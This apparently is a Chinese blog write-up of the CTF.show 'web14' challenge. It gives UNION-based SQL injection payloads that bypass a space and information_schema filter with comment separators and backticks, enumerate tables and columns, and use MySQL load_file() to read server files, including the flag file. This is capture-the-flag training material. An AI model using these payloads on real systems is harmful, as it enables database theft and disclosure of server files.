CTF.show:web14

打开来后执行语句得到提示

?c=3

当c为3时,不会退出循环,进而执行下一个case语句得到url
here_1s_your_f1ag.php
进入之后发现是一道注入题目
查看源代码发现存在提示

if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
		die('@A@');

老样子先爆库名

/here_1s_your_f1ag.php?query=-1/**/union/**/select/**/database()

在这里插入图片描述
然后爆表名,因为被过滤了一些数,但是我们可以利用反引号`进行绕过。

反引号:它是为了区分MYSQL的保留字与普通字符而引入的符号。
例如information_schema.tables和information_schema.tables都可以使用。

/here_1s_your_f1ag.php?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()

在这里插入图片描述
爆字段名

/here_1s_your_f1ag.php?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'

在这里插入图片描述
爆值

?query=-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content

在这里插入图片描述
没有flag但是有提示。结合一开始说包含secret.php,构造语句
mysql提供了读取本地文件的函数load_file()

?query=-1/**/union/**/select/**/load_file('/var/www/html/secret.php')

在源代码中发现语句

<?php
$url = 'here_1s_your_f1ag.php';
$file = '/tmp/gtf1y';
if(trim(@file_get_contents($file)) === 'ctf.show'){
	echo file_get_contents('/real_flag_is_here');
}')

可以得知,如果我们的文件/tmp/gtf1y中的内容为ctf.show则输出/real_flag_is_here中的值,所以我们直接将/real_flag_is_here读取即可得到flag。

?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')

在源代码中找到flag
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值